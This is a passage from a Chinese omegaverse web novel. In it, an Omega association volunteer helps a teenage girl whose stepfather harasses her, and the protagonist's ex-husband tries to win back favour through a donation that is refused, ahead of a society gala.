沈之年来的第一天就被有经验的老成员拉大旗了。 他打心底不认同这种以势压人的行为,但是就是这样的行为,让他们协会的事务处理效率高得多。 又是一种无可奈何的现实。 有时候沈之年想问一句,如果他没来帮忙,是不是他们要经历没完没了的扯皮,但是又觉得自己实在是没必要去问,多余。 其实事情早就了解的差不多,星警很快就做好笔录,格林警官走到沈之年的身边,“我们做好笔录,本来这种事,没有证据是没办立案的,但是看在您的面子上,可以破例一次······” 沈之年不咸不淡的嗯了一声,这也是他这几天磨练出来的技巧,这种高傲纨绔子弟的样子,因为看起来太不好惹,反而容易办成事情。 片刻过后,沈之年就又看到了李泽明,对方一脸无辜:“怎么回事?这件事不是已经结束了么?” 然后脸上出现了疲惫和厌烦,“我就是关心女儿,说话可能没注意分寸,但绝对没有坏心思。现在的小女孩心思多敏感啊,动不动就觉得被冒犯。” 乔好像看起来很能够共情李泽明,他站到李泽明的身边,轻轻的拍拍他的肩膀发出一声轻而轻的叹息。 Alpha们总是这么团结。 格林尽量维持自己公正的脸,但是眼睛中也不免多了几分同情,“没关系,我们先立案,如果调查不出证据还会还你清白······” 李泽明适时的露出疲态。 乔小声说,“如果家里有什么经济纠纷,也尽早解决,毕竟······”他的眼神似有似无的飘过沈之年。 沈之年明白他们的意思,他们觉得陈婉母女就是想从李泽明的身上讹更多的钱,但是碍于他有权有势,他们也不能伸张正义。 多可笑······ “我有证据!”旁边传来周晓薇细细的声音,第一次甚至没人能够听到。 周晓薇又增大声音说了一遍,“我有证据!” 沈之年下意识拦住周晓薇。 但是周晓薇躲过沈之年,“我有他骚扰我的证据,我们不是要钱,你没必要指桑骂槐。” “这个哥哥也只是帮我,如果不是他,我连最基本的关注都得不到。” 周晓薇把光脑解除限制,把里面的内容展示给两位警官看。 这个社会给Omega设置了重重的枷锁,周晓薇不可避免的收到影响,展示这些,她的身体一直在轻轻的颤抖。 两位警官的眉头紧紧的皱起来,“这些足够立案。” 乔手脚利索的把李泽明铐起来。 但是出门前,格林还是露出为难的申请,“由于没有实质性伤害证据,我们警方最多也只能给他只能处以十日拘留。”他真的害怕这位年轻气盛的小公子提出他们办不到的要求,说话也尽量贴合对方的心意。 “小沈先生,您知道这种情况,我们能做的有限。拘留十天已经是最重处罚了,不会留案底。这种人渣我见多了,出去后很可能变本加厉。” 沈之年握紧了拳头,法律明明是为了保护人而存在的,却总有漏洞让某些人钻空子。 他还是不想放弃,想看看能不能找到一些方法,加重李泽明的刑法。 这几天他一直在频繁的出入警局咨询。 沈之年正在相熟的警官那边查阅相关的条款,格林突然走到沈之年的身边,“小沈先生,那位李先生的妻子过来,要保释李先生······”—— 沈之年人还没走近,就听到刺耳的吵闹声,她裹着一件亮粉色皮草,领口镶满水钻,紧身蕾丝裙勾勒出有致的十身材,脚踩十公分高跟鞋,脚踝被新鞋磨得通红。浑身上下挂满金链钻石,香水浓烈呛人。 虽然有点上年纪,但是也能看出是一个漂亮的女Omega,而且看起来真的好有钱····· “李泽明是个老实人!肯定是那对母女陷害他!”女人声音尖利,“我要保释他出来!你们Omega协会不就是帮助Omega的吗?怎么还害好人?” 沈之年站在一边,面色实在不好看,格林只能任劳任怨的地将她请进调解室:“您为什么这么肯定他是被陷害的?” “我跟他生活了八年,他连只蚂蚁都不敢踩,怎么可能做那种事?肯定是那丫头片子自己不检点,反咬一口!” “她就是想要钱,他们母女我还不清楚么?”女人好像想到了什么,轻鄙的撇撇嘴,“两个婊子······” 沈之年强压怒火:“您了解晓薇吗?见过她吗?” 女人愣了一下,语气稍有迟疑:“没、没有,但那不重要我知道李泽明的为人。” “您不知道。”沈之年直视着她的眼睛,“您不知道那个女孩每晚做噩梦,不知道她害怕回家,不知道她割过自己的手腕。”沈之年轻轻拿出光脑,展示晓薇手臂上浅浅的伤痕照片。 这些都是他为了让李泽明能够得到更重处罚收集的证据。 前妻一时语塞,但仍嘟囔着:“反正不可能,一定是误会你们这些Omega协会的人就喜欢把事情闹大,好显示你们有多重要” 沈之年看着她,从某种意义上她也是被害人,沈之年能理解她不喜欢陈婉母女,AO之间会做标记,但是这也不能阻挡有钱Alpha出轨的决心,他们往往会选择漂亮的Beta。 这样类似的事情,协会不知道处理了多少, 陈婉可能算是做的比较成功的哪一类,她真的把李泽明的婚姻搅散了······ 如果换一个时间来,眼前的这位就是苦主。 但是这是两件事,晓薇还是个未成年,不能经受这样的不白之冤,“你没有和李泽明完全分开吧,你们还偶尔在一起生活······” 眼前的人根本没有做标记清除手术,穿着打扮又这么富贵,进来之后处处为这姓李的说话,真相就已经很明显了。 李泽明同时和这两位保持着关系。 “其实你什么都明白吧,只是如果李泽明的工作受影响,就没人能够接着供养你了,所以昧着良心你也要为他说好话,你是不是也有孩子?” 沈之年叹息一声,“你和孩子的生活费都指望着他呢,是么?” 因为指望着李泽明,所以就算是被劈腿,离婚了,也不得不捏着鼻子继续一起生活······ 眼前李泽明前妻的脸突然就慌乱起来,“你瞎说什么呢!我···我听不懂,反正我要保释老李,”说完就不再和沈之年说话,二十把视线转向了一边的格林,“我交钱就能保释了,对吧······” “快走,快走!” 出门之前,她回头又慌乱的看沈之年一眼,她也没办法,像是她这种没有家世,等级不高长得也不漂亮的Omega,被标记之后很难再找到一个Alpha,也很难养活自己······ 很可惜,法律确实留下了这样的漏洞,李泽明被保释出去了。 他连十天都没在拘留所待满。 临出门的时候,不知有意还是无意,他斜睨着站在阴影里的沈之年······ 突然就和眼前的前妻大声嚷嚷, “你看看,我就说其实我也没做什么嘛,就是说两句话,那个Alpha不瞎说两句,怎么总是不依不饶的!”—— 作者有话说:看看孩子的预收,助力比格大王统治世界 《当普通社畜觉醒比格人格》 林云州是一个普通社畜,和全天下的社畜一样,顶着车贷和房贷,被迫兢兢业业的上班,忍受龟毛老板和伪人的同事,下班之后还要忍受奇葩邻居。 直到有一天,他帮老板带狗看病的时候,不幸发生了车祸。 他觉醒了第二人格,而他的第二人格, 是老板家养的那只狗——一个邪恶比格。 新同事来阴阳? 比听不懂,那就是在骂比,比比审判,比发疯! 小领导找茬? 看不起比,竟然看不起我比格大王!!比审判,比要撕烂所有东西,比发疯! 邻居扰民? 比喜欢,werwerwerwer!!!!! 什么伪人同事,什么奇葩邻居,比统统创飞! 同事们实在拉不住这只间歇性发疯的比格,无奈找到老板, 顾知聿看了一眼盘在沙发上自称比格大王早就支起耳朵的林云州。 想起自己被撕碎的床单,千疮百孔的沙发,破碎的家,轻轻的闭上了眼睛。 比格大王站在沙发上,双手叉腰, 看到没有! 龟毛老板? 是我比格大王的忠实仆人,比也创! werwerwerwer!!!!!! 第57章 沈之年只能眼睁睁地看着他们离开, 他的手指轻轻动了几下,做出一个捏合的动作,沈之年深呼吸几下, 把脑袋里奇怪的想法甩出去。 “老子养你们吃穿住用,你们倒好,反咬一口?”他唾沫横飞,“不就是说几句玩笑话吗?至于报警?害我丢了十天工作!知道我在公司多难做人吗?” 随着李泽明走远, 声音远远的传过来,他已经放弃了那副温和的假象, 言辞粗鄙, 声音原来越大, 好像刻意要给沈之年听。 可能是认准沈之年是一个善良的Omega?也可能单纯的觉得Omega没用,不然理智应该会告诉他,现在惹怒沈之年是一件完全不理智的事情。 格林在沈之年的身后小心翼翼的劝和,“要不这件事就算了,法律就是这样的,毕竟他也没能造成实质性的伤害, 也已经得到了惩罚······” 沈之年小声回应,声音小的好像是说给自己听:“他确实说了不该说的话,做了不该做的事” “如果造成实质性的伤害,那就晚了······” 虽然很残酷, 但是沈之年不得不先打电话通知那对可怜的母女。 电话里是长久的沉默······ 然后是陈婉很疲惫的声音, “谢谢你,小沈先生,毕竟没有造成实质性的伤害,”电话的那一边好像传来一声无奈到极致的轻笑,“警察都拿他没办法, 我们又能怎样?之前吃他的穿他的,可能这是我的报应,我i行为不端的报应······” “应在了晓薇的头上······” 沈之年听到那边陈婉重重的喘息一声,“这个留下吧,都是他买的,我们不拿······” “没关系,小沈先生,我们搬家也搬得差不多了,谢谢您提供的帮助,让我们母女不至于流落街头。” 陈婉又用力把最后一件行李扔上车。 从把李泽明送进去他们就在准备搬家,零散的东西很多,虽然李泽明比计划的提前出来几天,但是幸好她惊险的收拾完了。 要不等他回来把母女俩的行李扔出门外,太狼狈,也太难看。 经济不独立就是这样,哪怕是受害者,也不能撑起腰杆子······ 但是这一刻,陈婉搂着晓薇,站在街头,还是有一刻的茫然无措。 他虽然夸下海口,要自己一个人供养晓薇,但是冷静下来,真的事到临头的现在,她自己也开始怀疑自己。 她真的有能力带着女儿过上好的生活么? 沈之年好像猜到她的想法,轻轻说了一句,“以后会越来越好的。” 沈之年也不确定,类似的事情他见过很多, 有人能过出自己的人生,有人被风雨催折之后,心甘情愿的抛下一切跪下回去做菟丝子换取之前安稳的生活。 沈之年不确定他们的人生能走向什么方向······ 他想着,突然一辆黑色的车停在他身后,沈之年没回头,车门打开的那一刻,他平静的心湖像是被扔下一颗小石子,他就知道是顾景深来了。 “你怎么来了?” 顾景深从车门里钻出来,将手里的花递给沈之年,“年年,我们能不能谈谈?” 沈之年叹了口气,推开那束美丽的花:“我现在有紧急案件要处理,没时间谈这个。” 可能因为顾景深到了,无力和疲惫瞬间席卷了沈之年,他现在半点心情都没有,连带着看到顾景深都觉得有一点厌恶。 “什么案件?也许我能帮忙。”顾景深紧跟在他身后,“我听说你帮了一对母女,对方继父是个混蛋?” 嘴巴里说着是听说,但是他的语气却是胸有成竹一般,沈之年不由得侧目······ 李泽明还没走远,就接到了一个电话, “李先生,鉴于您最近被拘留的情况以及违反公司道德准则的行为,公司决定立即终止与您的劳动合同。” 沈之年不知道电话里的内容是什么,但是他能清楚的看到不远处的李泽明突然就吵嚷起来, 他的话沈之年听的清清楚楚,“什么?就因为拘留十天?那又没留案底!你们不能这样!” “我们可以,而且已经这样做了。”总监冷静地说,“您的解聘通知会通过快递发送,请于本周内清理个人物品。” 沈之年下意识的看向身边的顾景深,果然在他的眼睛里看到了满意。 顾景深再次把花递给沈之年,“虽然也许你会不满,但是有时候,适量的权力可能能另辟蹊径发挥作用。” 沈之年深深的看他一眼,最后无奈收下这一捧花····· 李泽明对着已经挂断的电话目瞪口呆,突然意识到事情的严重性。没有工作,没有收入,他家庭条件一般,父母都是Beta,生出是个Alpha,都很喜出望外,用尽了家族的一切能力去托举他,让他上名校,进大厂,然后好不容易爬到中层的位置,拿到百万的年薪, 现在都没了······ 私人企业,谁会管你的品德如何,一定是有人动了手脚,他猛地回头,看到这几天他恨得牙痒痒的那个漂亮Omega身边的人。 那张频繁出现在财经报纸上,他死了也不能忘记的脸。 李泽明愣住了,随即恍然大悟。他冲上前去:“是您!是您让开除我的?” “顾总!” 沈之年又看到顾景深那个高高在上的眼神,像是扫蝼蚁一样轻轻的从眼前祈求他的李泽明身上扫过,好像没听到,没看到。 而是转头看向沈之年,“电话还通着么?我觉得应该让受害者听到对罪犯的惩罚······” 沈之年下意识的看了一眼光脑,电话还通着······ 得到沈之年肯定的回答,他才转过头冷冷地看着李泽明:“我觉得我合作公司每一位员工都应当遵守法律和道德底线。你触碰了底线。” “那不算什么大事!就是跟继女开了几句玩笑!”李泽明争辩道,“没有实质伤害!警察都说了!” 沈之年上前一步:“言语性骚扰就是实质伤害!你让一个花季少女害怕回家,害怕夜晚,害怕异性!这难道不是伤害吗?” “她依靠我生活!吃我的用我的!”李泽明嘶吼着,“没有我,她们母女早就流落街头了!我供她上学,给她买衣服,说几句玩笑话怎么了?” “所以你就认为有权侵犯她的尊严?”顾景深的声音冷得像冰,“没有人有这种‘权利’。” 李泽明露出比哭还难看的脸色,“他们是诬告,顾总,你也是Alpha,你知道的,我只是犯了全天下Alpha都会犯得错,我就是说说,我什么都没做,我没有坏心,我就是爱开玩笑。” 顾景深没回答只是冷冷的看着他,他肯和这种人说两句话已经是天大的恩赐,实在没必要再多做解释。 司机适时走出来,“这位先生,请远离!” 李泽明还想再挣扎一下,但是看到司机精壮的体格,还是下意识的瑟缩和退却了。 隔开了李泽明,顾景深回身拉开车门,和沈之年做出一个上车的动作。 沈之年犹豫了一下,就听到顾景深的声音,“我不会放心把你留在这里,和一个狗急跳墙的人在一起。” 沈之年没办法,顾景深说的有道理,他没必要和顾景深赌气连自己的安危都不顾。 毕竟,再牛的人,命也只有一条。 沈之年只能上车。 见到沈之年又坐在身边,顾景深竟然产生了一种恍如隔世的感觉。 真是好久了。 对他来说,好像一个世纪那么久······ 车子里很安静,顾景深和他一起坐在后座,有点尴尬。 “我真没想到,最后他是这么得到的惩罚。”沈之年率先打破尴尬。 他没想到最后还是利用权势,还是顾景深的权势。 “没办法,法律是人制定的,就算再努力的向往公平,也会带有人的偏好和思想,有时候,总是不免要在达成目的和坚守道德之间二选一。”顾景深从车子一边拿出一瓶水,“至少我们帮助了小女孩伸张正义,法理之外,情理之中。” 顾景深说完之后,就发现沈之年还是沉沉的看着他,“怪不得你能做领导,玩弄权势也能说的这么清新脱俗,但是谢谢了。” 顾景深耸耸肩,不置可否。 但是沈之年还再看他,看的他有点疑惑,“怎么了?” “你现在状态很好,我就放心了。” 顾景深的笑容突然一顿,好不好只有自己知道。 他向来知道,锦衣夜行是没有用的,资本家的每一份付出都要看到回报。 所以他做好事必须做在沈之年的眼前,他今天计算好出场的时间,准备了一套最帅的衣服,这才出现在沈之年的面前。 他没想到会受到这样的诘问,是他做错了么,难道其实应该狼狈一点? 沈之年看到他的嘴巴开开合合,偏过头微微勾起唇角······ “在前面把我放下吧,有人在等我。” 车子在沈之年说的位置缓缓停下。 “再见······”顾景深话音还没落下,就看到那张他魂牵梦萦的脸越来越近,越来越近,顾景深下意识的屏住呼吸,然后就听到一声轻笑,沈之年伸出手把他的衣领捋好,“顾总,下次不要匆忙卡点出场了······” 说完,沈之年就毫不留恋的下车,车外,那张顾景深最讨厌的脸已经恭候多时, 薛明亦! 第58章 “明亦, 你怎么来等我了!”沈之年下车之后就上前小跑几步,抱住薛明亦的右手臂,眼睛亮亮的看着薛明亦, 里面全都是信任和开心,巧笑倩兮······ 薛明亦震惊于今天沈之年的热情,“你见到顾景深了?怎么情绪这么丰富。” 他分不清是不是沈之年见到他就应该是开心的,只是被那个奇怪的病阻隔了, 还是沈之年在开他的玩笑,毕竟他常常和沈之年开玩笑······ 沈之年笑而不答, “你还没回答我的问题, 问么过来了?” 薛明亦无奈, “来帮你的忙,晓薇应该也需要专业的心理评估吧。” 上次之后,他就凭借熟练在Omega协会挂上了名字,虽然是外编医生,但是他成了Omega协会罕见的Alpha成员,如果不是这位目的不纯, 林之白应该已经大加报道,来证明支持Omega的权力是大势所趋······ 顾景深的车渐行渐远,沈之年把手放下,面上的笑容回到之前清清浅浅的样子, 薛明亦:“还说不是和他见面了······” 沈之年抬起头, 娇俏一笑,“逗狗好玩,下次还叫你。”—— 薛明亦亦步亦趋的跟着沈之年。 沈之年先到了陈婉母女的新家, 透过玻璃,沈之年看到房间里的周晓薇和一个女医生在聊天, 有点无奈的看向薛明亦。 薛明亦侧过身子,指指里面,“我觉得现在晓薇的情况没办法和陌生男性Alpha敞开心扉,所以请了我的师妹过来。” “虽然是个Alpha,但是总比我好,我可是一片心思为公······” 等了一小会,薛明亦的师妹就从房间里走出来,简单的和等在外面的两个人解释了情况, 晓薇的心理状况其实远比他们想象中的要好的多,她是一位非常坚强的女孩,受到的心理创伤很轻。 治愈的可能性非常大,甚至如果环境好,也许她能够自然的痊愈, 那个女医生看着沈之年,“但是从我的角度来看,我觉得她的心理问题很多都和母亲有关,如果······” 沈之年懂她的未尽之意,如果后面母亲做了不好的选择,可能会让晓薇的心理走向深渊,但是他只是淡淡的笑了一下,“我愿意相信母爱是奇迹,至少她找到我们就代表愿意做出改变,不是么,给母亲一个机会,我会关注他们的生活的,你放心吧。” 那个女医生的视线在沈之年和薛明亦的身上转了又转,最后无奈叹息一声拍拍薛明亦的肩膀就离开了。 沈之年看着女医生的背影,“他以为你在做小三,不解释一下?”他和顾景深虽然顺利的离婚了,但是消息还密而不发,很多人误解薛明亦。 “也很好,至少显的我很有能耐,能在虎口夺食。” 沈之年突然想到什么,轻笑出声,“犬口。”—— Omega协会的会议室里, 沈奉月轻轻合上眼前的捐赠意向书,指尖在那烫金的“顾氏资本”logo上停留片刻。 “抱歉,顾总。”他将文件推回桌对面,声音温和却不容置疑,“这个捐赠,我们不能接受。” 顾景深抬起头,眼睛里盛着显而易见的讶异。 顾氏和Omega协会之间的合作由来已久,本来相互之间就非常熟悉,更何况他精心准备了两周,分析了Omega协会目前所有需要资金支持的业务板块,给出的条件优厚到眼前这个无利不起早的铁血会长不可能拒绝。 “爸···沈会长,是条件不够满意吗?我们可以再谈。”顾景深身体微微前倾,“据我所知,Omega协会一直致力于对Omega的援助,进少出多,资金链已经有了这些钱,能够解决更多的问题,不是么?” 沈奉月抬手止住了他的话,唇角依然挂着那抹儒雅的笑意:“条件很好,Omega协会没办法给顾氏带来更多的收益,这是一份纯粹的慈善。也正因为如此,我们更不能接受。” “沈会长,我知道您为什么拒绝。”他声音低了下来,“但请相信,我的母亲也是Omega,我愿意拿出钱来支持Omega协会的伟大事业,我一直觉得企业要有自己的社会担当,这些钱放我手里可能能生出更多的钱,也可能会放在银行发烂,但是不管是哪一种,都不如改变一个Omega人生来的有意义。” 沈奉月轻轻摇头,起身走到窗前,望着窗外大雾里的城市轮廓。“景深,你和年年已经离婚了。”他没有回头,声音平静得像在谈论天气,“在你们结婚的这几年,顾家也往Omega协会送了不少钱,帮我们解决很多问题,救助了很多的Omega···但是,那时候你都没有开出这么丰厚的条件。” 他转身,金丝眼镜后的目光依然温和,却锐利得让顾景深无处遁形。 “宦海浮沉多年,我见过各种投资/捐赠,见过形形色色的商人和政客,但没见过谁会把真金白银不图回报的扔进Omega协会。你到底想做什么?”其实不是没见过,顾景深的母亲,露易丝,经常会扔一点······ 顾景深深吸一口气。他早知道这场谈话会来,只是没料到会如此直接。 “我想弥补,”他坦白道,声音里带着自己都惊讶的卑微,“不是用钱,我知道有些东西无法用钱弥补。但我希望至少···至少让年年···你们别讨厌我。” “年年”两个字脱口而出,在会议室里显得格外突兀。顾景深立即改口,像是怕惊走了什么。 他当然不是希望用这点钱换回沈之年,只是希望能够在老丈人这里卖一个好,至少不要讨厌他。 在他的想法中,沈奉月不会拒绝这种送上门的好处,这些年他为了达成目的几乎无所不用其极,他没理由拒绝。 沈奉月静静地看着他,许久才轻轻叹了口气:“谢谢你,但是我可以为了我的理想,我的事业做一切事情,年年不可以。” 话很轻,落在顾景深心上却重如千钧。 “我知道。”他声音干涩,“我只是希望得到您的原谅。” “去我办公室喝杯茶吧。”沈奉月忽然说,“有些话,不适合在会议室谈。” 沈奉月的办公室不像政客的工作场所,倒像一间雅致的书房。红木书架上塞满了书,墙上挂着水墨画,紫檀木茶海摆在窗前,雨水顺着玻璃滑落,成为谈话的背景画。 水沸了,沈奉月娴熟地烫杯、洗茶、冲泡,动作行云流水。茶香随着水汽氤氲开来,是上好的龙井。 “记得你第一次来家里,喝的也是龙井。”沈奉月将一小杯茶推到顾景深面前,“那天你不太开心,冷着脸,应该没在意喝了什么吧。” 顾景深接过茶杯,指尖感受到恰到好处的温度。那个时候,那时候他以为自己不喜欢这段信息素决定的婚姻,他也以为自己不记得,其实他记得清清楚楚,就连紧张得手心出汗的濡湿感都记得。 “您说,希望我能够好好对年年。”顾景深轻声道。 沈奉月微微一笑:“你还记得。那时候我很开心,你是很好的人,景深,抛掉一切,我认同你的为人。” 顾景深无言以对。甚至有些羞愧,他受过最好的教育,对外人的时候都能保持最绅士的姿态,好像他把最差的状态都留给了婚姻里的沈之年。 只是因为他不想承认自己爱上沈之年,但是沈之年可能没那么爱他。 “景深,”沈奉月的声音将他拉回现实,“我知道你想弥补,也想通过帮助Omega协会来挽回什么。但恕我直言,你这种方式,依然是在用商人的思维解决问题——认为所有东西都可以明码标价,所有损失都可以用资源补偿。” 顾景深急切地抬头:“我不是这个意思!我只是······” “只能通过帮助我来示好?”沈奉月接话,语气里没有指责,只有淡淡的惋惜,“那你有没有想过,这会不会让他感到压力?仿佛他的家庭成了你追求他的筹码?” “而且景深,你想用金钱和我换一个原谅,我也不能卖给你,在政坛一切都可以用利益交换,可这不是家人交流的方式” 一句话如冷水泼面,顾景深僵在原地。他确实没想过这一层。商场厮杀多年,他习惯了资源置换、杠杆运作,却忘了感情不是商业谈判,不是投入越多就越有胜算。 “我没想到”他艰难地说,“我只是想减轻他的负担。我知道他最近都在协会帮忙······” “很辛苦,他那么善良,看到那么多不幸的人,一定会觉得很痛苦吧,我想他开心点······” 沈奉月饮茶的手顿住,“你···难道······” 察觉到沈奉月口中的未尽之意,顾景深追问,“怎么了?” 沈奉月连忙改口,“没···没什么······” 他到现在都不知道沈之年的病······ 第59章 沈奉月定了定心神, 转移了话题,他轻轻转动手中的茶杯,看着碧绿的茶汤微微荡漾:“年年在协会帮忙很好, 很开心,我觉得可能之前我错了,我只想着 如何保护他,我把他保护的太好, 他才会受到感情的伤害。” “也许,经过这些日子, 他会变得更坚强。” 顾景深一愣:“什么?” “他···过得好吗?”顾景深终于问出这个憋了许久的问题, 声音沙哑。 “说真话吗?”沈奉月注视着他, “还不错。瘦了很多,工作很努力,最近他见过受伤害的Omega很多,可能有一点厌Alpha了······” “但是,”沈奉月缓缓补充,“这应该算是一个好消息, 我觉得那段婚姻对他的影响已经越来越少。” 顾景深的心脏紧缩成一团,哦,原来他根本就没有那么大方,他之前说的希望沈之年幸福都是假的, 现在他的计划第一步就受阻的时候, 那些不好的想法蜂拥而出······ “其实我是爱他的!”顾景深有点失魂落魄,“我只是之前不明白······” “那你现在觉得什么是爱?” 一句话问得顾景深哑口无言。 沈奉月没有追问,只是续上一杯新茶,茶香依旧,但最初的那杯已经凉了。 “景深, ”他语气缓和下来,“我可以勉强算是你的长辈,婚姻不是商业合作,没有输赢对错,只有两心相悦,相濡以沫。也许爱情从一开始就没那么复杂。” 顾景深垂下眼睛:“我可以让他幸福的,让他成为最令人羡慕的Omega。”说完之后,顾景深想起了露易丝,眼神里也产生了一点迷茫,“这是他想要的么?” “是啊,这是他想要的么。”沈奉月轻轻重复他的话,若有所思,“他想要什么,你想要什么呢?” 顾景深望着窗外模糊的城市轮廓,忽然意识到自己犯了一个根本性错误——他一直在忽略沈之年的需求,沈之年有没有提过需求呢? 他想在阳台种满花草,他说保姆打理不好还是做景观设计吧; 他推荐他看一本小说,他说商业报告都看不完哪有时间看闲书; 他精心准备晚餐,想要一起吃饭。他却总是在应酬或加班 他是不是想要和他一起过生日呢? “我我知道我错了。”顾景深终于说,声音低得几乎听不清 沈奉月静静地听着,没有打断。 “我不敢奢求原谅,”顾景深抬起头,眼中是从未有过的坦诚与卑微,“但我真的想改变。用钱解决或许方式不对,但我是真心的。即使即使他永远不回到我身边,我也希望他和他的家人过得好,希望他能完成自己的梦想。” 茶室陷入沉默。沈奉月慢慢品完一杯茶,将茶杯轻轻放回茶海。 “我相信你的诚意。”他终于开口,“但正因为相信,我更不能接受这笔钱。” 顾景深眼中刚亮起的光又暗淡下去。 “景深,婚姻是两个人的事,但离婚是两个家庭的事。”沈奉月语气温和却坚定,“年年选择离开你,我们尊重他的决定。如果现在我接受了你的帮助,等于变相地给他压力,暗示家族利益与他的个人选择相关联。这对他不公平。” 他起身走到书桌前,拿起那份捐款意向书,轻轻放回顾景深面前。 “Omega协会虽然不是陆氏那样的商业帝国,但风风雨雨几十年,自有我们的根基和骨气。就算有困难,也能靠自己渡过。”沈奉月微微一笑,眼神中有长辈的慈爱,也有政客的骄傲,“况且,如果我今天接受了,将来怎么面对年年?难道要说,爸爸用你的离婚换来了公司的发展?” “我爱年年,他和我的事业还有理想一样重要。” 顾景深知道,这就是最终判决了。他所有精心准备的捐款计划、风险评估、回报分析,在一位父亲的爱与尊重面前,不堪一击。 他慢慢站起身,接过那份被退回的文件。纸张很轻,却重得他几乎拿不住。 “我明白了。”他低声说,“抱歉,让您为难了。” 沈奉月摇摇头:“不必道歉,我欣赏你的眼光和魄力;但作为长辈”他停顿了一下,轻轻叹气,“我仍然欣赏你的坦诚和改变。只是有些裂痕,需要更多时间和诚意来修复,而不是资金。” 他送顾景深到电梯口,像多年前一样拍拍他的肩:“路上小心,雨大了。” 电梯门缓缓关上,隔绝了那个充满茶香和宽容的世界。 顾景深独自站在冰冷的金属空间里,看着镜面中那个西装革履却失魂落魄的自己。 地下车库冷清而空旷,他走到车前,却没有立刻上车。手机震动起来,是秘书发来的消息,询问投资谈判是否顺利,下一步如何推进。 他盯着屏幕看了很久,最终只回了一句:“计划终止。” 车库入口像一张深渊巨口,远处传来轮胎轧过积水的声音。 顾景深靠在车门上,第一次不知道接下来该去哪里。他足够有钱,所以才会把捐款当成挽回沈之年的第一步,他甚至要求很低,豪掷千金也只想买到一点好感。 很可惜,第一步也失败了······ 压下心里那些不好的念头,他重新坐上车—— 家里和之前一样,顾景深一进门精神就放松下来。 但是沈之年迟迟没有跑过来,顾景深自己走进房子,看到了一个完全意料之外的人。 露易丝。 露易丝见到儿子,斜睨一眼,“怎么啦,看到妈妈不开心么?” 顾景深勉强勾起唇角,“怎么会,妈妈你怎么过来了?”他先远程开启了家居机器人,让机器人给露易丝泡茶。 “年年呢?怎么没看到?”露易丝假装东张西望,然后露出失望的神色。 为了这种突发情况,顾景深早就不知道准备了多少谎言,“回家了,岳父他,让他回去吃饭······” “他过几天就回来,昨天还和我说,回来的时候要给你准备伴手礼。” 露易丝点点头,“这样啊······”好像接受了这个回答,然后马上开口,“你们离婚了吧······” “怎么会呢,我们匹配度那么高······” 露易丝站起身,走到顾景深的身前,他早就不知和这个长大成人的儿子平视,露易丝抬起头,也努力的去看顾景深的眼睛,“你们离婚了,对么?” 顾景深的脸色没有变化,“怎么会,妈妈,你不要和年年说这种话,会让他很有压力。” 听完顾景深的回答,露易丝没有立刻接话,而是沉沉的看着顾景深,好像要把他脸上的每一个细节都看清楚一样,“你现在和你爸爸真相似······” 她的语气里有藏不住的沮丧,“怎么会这样呢,你明明跟着我一起长大······” 露易丝不再看顾景深,带着几分颓废,坐在沙发上,“你也觉得我是傻子,什么都看不出来么?” “景深,你小的时候,不是宗翰看重的继承人,怀深跟着宗翰,学习那些生意上的事情,他不喜欢,也不开心,但是我们没办法,你就和我一起生活,我想你开心,不要和你的父亲和哥哥一样,我尽量不让宗翰干涉你的教育,当然了,他为了自己心仪的继承人能够顺利继承顾家,也满意于你的识相。” “你跟着宗翰学习,是怀深去世之后的事情,这才几年啊,你现在和他真像啊,一样多疑,又一样看不起人······” “这是父子天性么,还是说,在你们共事的短短几年你就都学会了?”露易丝说完之后顿了一下,顾景深越来越像顾宗翰几乎是一种必然,Alpha本质上是幕慕强的,他厌恶父亲,但是也不得不承认父亲的强大,这种滤镜应该在他们分庭抗礼的时候才打破,所以他们越来越相似。 顾宗翰也说过类似的话,可能真的相似吧······ 顾景深没说话······ “那你接下来打算怎么办,”露易丝冷不丁的换了话题/ 顾景深闻到一丝烟草的味道,抬起头看到他高贵的母亲,现在斜倚在沙发上,两根修长的手指中夹了一根香烟。 他从来没见母亲抽过烟,这是第一次······顾景深怔愣了一瞬间,最后还是选择不追问。 “还没想好······”他把今天的遭遇和母亲一一说过,这是顾景深长大之后,他们母子之间第一次像这样的交流。 顾景深还是像一个无助的孩子,等着母亲的帮助。 露易丝深深的吸了一口香烟,“我和沈奉月是完全不同的人,但是这次我也不得不认同他的想法,宝贝,” 说完,露易丝站起身,路过顾景深的时候,从口袋里拿出一个请柬,扔到顾景深的面前,“幸好妈妈还能够给你提供一点微不足道的帮助······” 顾景深捡起那个请柬。 上面很多字,顾景深都选择性的忽略,他很快就抓到了重点,请柬的落款是Omega协会,是手写的,字体清隽,顾景深再熟悉不过······ “我觉得我还需要一个男伴,你愿意么,我骄傲的儿子。” 第60章 香槟塔折射出的流光, 像打碎了的琥珀,漫过宴会厅锃亮的大理石地面。 宴会厅的穹顶仿佛压得很低,巨大的水晶吊灯倾泻下冰冷刺目的光芒, 将每一张精心修饰的面孔都照得无所遁形 空气里浮动着昂贵香水、雪茄和陈年酒液混合的微妙气息,是属于这个圈层特有的味道,熟悉又令人窒息。 顾景深没想到原来沈家主办的宴会也是这样的,华丽, 奢靡,盛开的好像明天就要腐烂的美, 每个人在灯光里都好像在绽放自己最美的样子. 这样的地方和他对沈家的印象非常不同······ 顾景深站在一根相对僻静的罗马柱旁, 身影被笼在柱体投下的细微阴影里, 却依然无法完全隐匿。他身上那套量身定制的西装,面料挺括,线条利落,完美勾勒出他依旧优越的身形,指尖一杯未动的威士忌,冰球融化了些许, 杯壁沁出冰凉的水珠。 但只有他自己知道,那昂贵布料下的肌肉是如何僵硬,脊背挺得笔直,仿佛在抵御着什么无形的压力。 他的目光, 像搜寻特定信号的雷达, 一遍又一遍,近乎贪婪地扫过全场。掠过那些熟悉的、陌生的、谄媚的、探究的脸孔,掠过陈列在丝绒展台上熠熠生辉的拍卖品,最终总是落空,然后又不死心地重新开始循环。 他在找沈之年。 他目光不着痕迹地, 再一次扫过全场······ 他在找沈之年。 离婚之后,两家必要的场面往来仍在,这样的场合,沈之年必定会出席,这样的场合也是他第一次来。 他想见沈之年,哪怕一眼。 就像是中毒一样,虽然每一天他都能看到沈之年的脸,但是在分别之后,他还是每一分每一秒都在记挂沈之年。zai 他想知道,他开不开心,过的好不好,在做什么,事无巨细,沈之年的一切他都想知道。 这种中毒一样的执念把他推到这里。 他甚至可悲地、反复预演开场白,一会要见到沈之年了,先说什么呢,“好久不见”?会不会显得太冷淡自持? “你今天看起来很漂亮······”会有一点轻浮······ “你看起来…不错” 他会觉得自己在试探他么? 顾景深好像在感情的事上总是犹豫,原来重视就是会让人举棋不定······ 他还沉浸在自己自己的犹豫里。 